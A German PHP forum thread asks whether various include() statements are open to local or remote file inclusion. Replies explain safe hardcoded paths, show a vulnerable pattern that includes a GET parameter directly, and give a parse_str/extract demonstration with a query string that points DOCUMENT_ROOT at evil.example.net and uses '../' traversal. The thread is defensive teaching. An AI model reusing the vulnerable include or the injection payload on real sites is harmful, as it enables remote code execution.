Nochmal ne frage wegen RFI und LFI

KD3

Erfahrenes Mitglied
hi @all

Sorry, es kann ja sein das ich mit dieser frage nerve aber ich glaube auch das viele hier es auch gerne näher wissen würden....

ich weiß ich hatte schon Threads erstellt in denen von Local File Inclusions und Remote File Inclusions geredet wurde aber nicht intensiv...

bsp.

PHP:
<?php 

include dirname(__FILE__) . "/includefolder/includefile.inc.php"; // RICHTIG!

// --------

include $_SERVER['DOCUMENT_ROOT'] . "/includefolder/includefile.inc.php"; // AUCH RICHTIG

// --------

include "includefolder/includefile.inc.php"; // ?

// --------

$o = "ordner";

include $o."/includefile.inc.php"; // FALSCH!



?>

Jetzt zu meiner frage.. ist es auch falsch wenn ich z.B dirname(__FILE__) in eine Variable packe und dann immer so include eigentlich schon oder?

Wäre nett wenn einer die frage beantworten könnte... danke im voraus

MfG
KD3
 
Wenn alle Varianten zum selben Ergebnis führen, sind sie äquivalent und damit kann die Frage nach dem Richtig oder Falsch entweder nur richtig oder nur falsch lauten.

Man kann aber die Frage stellen, ob eine Variante gegenüber den anderen aus bestimmten Aspekten vorzuziehen ist, da sie beispielsweise effektiver, flexibler, sicherer oder ähnliche Vorteile hat.
 
RFI & LFI ist hier eigentlich das thema und ich wollte gerne wissen ob durch diese genannten snippets sowas ausgenutzt werden kann oder nicht... also Sicherheit :)

MfG
KD3
 
Dann frage ich mich, worauf du hinaus willst. Alle vier Varianten bieten keine direkte Möglichkeit der Manipulation.
 
Die ganzen Sachen die du genannt hast, sind ja quasi harcoded vom Entwickler.

Eine Manipulation würde dann eintreffen, wenn eine Usereingabe dieses include() steuert. Wie dieser gern gemachtee Fehler mit der Übergabe der einzubindenen Seite in der URL.

index.php?seite=hallo

und der Code seht dann so aus
PHP:
IF($_GET['seite'])
{
   include($_GET['seite'].'php');
}
Hier kann ein User über den GET Parameter "seite" so ziemlich alles includen und bei entsprechender php.ini Config auch entfernte Seiten.
 
Und wie wäre es manipulierbar?
Wenn du so etwas Dummes ermöglichst, so dass etwa Werte des $_SERVER-Arrays beliebig verändert werden können. Falls dein Anbieter beispielsweise aus berechtigten Gründen register_globals deaktiviert hat, du aber in deinem Skript darauf nicht verzichten möchtest und die übermittelten Werte der superglobalen Arrays mithilfe der extract()-Funktion manuell extrahierst, etwa:
PHP:
parse_str('_SERVER[DOCUMENT_ROOT]=http://evil.example.net/foo/bar&o=../foo/bar', $_GET);
var_dump($_GET);
extract($_GET);
var_dump($_SERVER);
Der Aufruf der parse_str()-Funktion simuliert dabei die automatische Funktion PHPs und zeigt den Query String, der anzugeben ist, damit die $_GET-Variable die richtigen Daten enthält.

Nachtrag: dasselbe würde auch ohne extract() funktionieren, wenn dazu bei der parse_str()-Funktion der zweite Parameter weggelassen würde.
 
achso ok, danke sehr

Also würden die ersten 3 Includes sicher verlaufen *g* ? :)

MfG
KD3
 
Solange keinerlei Benutzereingaben direkt und ungeprüft bei include() und Co. verwendet werden – wie Mairhofer es in seinem Beispiel verdeutlichte –, sind alle vier Varianten sicher – selbst die letzte.

Ich finde es übrigens schön, dass du dich so sehr über die Sicherheit deiner Skripte Gedanken machst. Doch zu paranoid sollte man auch nicht sein.
 
naja wenn man mal Opfer eines Hacker angriffs war und ein komplettes Werk von mir defaced wurde und ich damals noch keine ahnung hatte, möchte ich das dies nicht mehr passiert und das ist auch der grund wieso ich mehrere mal frage und sicher gehe, wenn du verstehst..

Danke für die Antworten an alle :)

MfG
KD3
 
Zurück